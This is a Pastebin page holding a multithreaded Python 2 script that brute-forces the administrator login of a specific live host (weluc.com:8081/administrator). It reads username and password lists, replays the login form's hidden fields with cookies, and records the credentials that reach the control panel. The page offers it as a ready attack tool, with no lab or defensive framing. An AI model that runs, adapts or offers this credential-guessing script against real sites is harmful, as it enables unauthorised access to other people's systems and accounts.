Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import urllib2
- import urllib
- import cookielib
- import threading
- import Queue
- import sys
- from HTMLParser import HTMLParser
- import time
- '''
- 1. Request page accept all cookies
- 2. parse HTML form elements
- 3. set username password of POST
- 4. make POST to login processing script iclude HTML form elements and our stored cookies
- 5. check for success
- '''
- # gen info
- n_threads = 10
- username = "user.txt"
- pass_list = "pass.txt"
- results = "results.txt"
- true = 'True'
- wordQueue = Queue.Queue()
- # target info
- target_url = "http://weluc.com:8081/administrator/index.php"
- target_POST = "http://weluc.com:8081/administrator/index.php"
- # target fields
- uField = "username"
- pField = "passwd"
- #check for success
- check = "Administration - Control Panel"
- #store correct passwords
- correctPsd = []
- class bruteParser(HTMLParser):
- def __init__(self):
- HTMLParser.__init__(self)
- self.tag_results = {}
- def handle_starttag(self, tag, attrs):
- if tag == "input":
- tag_name = None
- tag_value = None
- for name, value in attrs:
- if name == "name":
- tag_name = value
- if name == "value":
- tag_value = value
- if tag_name is not None:
- self.tag_results[tag_name] = tag_value
- class Brute():
- def __init__(self, words):
- self.words = words
- self.found = False
- self.whoIsRunning = []
- def run(self):
- for i in range(n_threads):
- t = threading.Thread(target=self.brute_attempt, args=(i + 1,))
- self.whoIsRunning.append(True)
- t.start()
- #creates results.txt
- def writeFile(self):
- othersRunning = True
- print "output ready"
- sys.stdout.flush()
- f = open(results, "w")
- while True in self.whoIsRunning == True:
- try:
- outputWord = wordQueue.get(block=True, timeout=1)
- print "wrote to file"
- sys.stdout.flush()
- f.write(str(outputWord))
- except Exception, e:
- pass
- sys.stdout.flush()
- f.close()
- print 'writing terminated'
- sys.stdout.flush()
- #handles HTTP requests and cookies
- def brute_attempt(self, number):
- self.number = number
- if self.words.empty():
- print "thread %s terminated"%(number,)
- sys.stdout.flush()
- self.whoIsRunning.pop()
- #print self.whoIsRunning
- #sys.stdout.flush()
- return
- while not self.words.empty():
- #othersRunning = True
- unamePass = self.words.get()
- jar = cookielib.FileCookieJar("cookies")
- opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
- opener.addheadder = [("User-Agent", "Mozilla/5.0 (Windows NT 6.3; WOW64)")]
- try:
- response = opener.open(target_url, timeout=10)
- page = response.read()
- msg = '[*]Thread %s > %s | %s > Atempts remaining: %s\n' % (number, unamePass[0], unamePass[1], self.words.qsize())
- sys.stdout.write(msg)
- sys.stdout.flush()
- parser = bruteParser()
- parser.feed(page)
- ptags = parser.tag_results
- ptags[uField] = unamePass[0]
- ptags[pField] = unamePass[1]
- pdata = urllib.urlencode(ptags)
- response = opener.open(target_POST, pdata)
- result = response.read()
- if check in result:
- #self.found = True
- msg = "[!]Success! Username: %s | Password: %s\n" % (unamePass[0], unamePass[1])
- sys.stdout.write(msg)
- sys.stdout.flush()
- wordQueue.put(unamePass)
- except Exception, e:
- raise e
- self.words.put(unamePass)
- print "thread %s terminated"%(number,)
- self.whoIsRunning.pop()
- print self.whoIsRunning
- sys.stdout.flush()
- def main():
- words = Queue.Queue()
- try:
- f = open(pass_list, "r")
- passwords = f.readlines()
- f.close()
- f = open(username, "r")
- usernames = f.readlines()
- f.close()
- except:
- print'[!] Could not open file. \n Exiting...'
- sys.exit()
- for uname in usernames:
- uname = uname.rstrip()
- for passwd in passwords:
- passwd = passwd.rstrip()
- words.put((uname, passwd))
- thing = Brute(words)
- thing.run()
- while len(thing.whoIsRunning) != 0:
- time.sleep(1)
- thing.writeFile()
- if __name__ == '__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement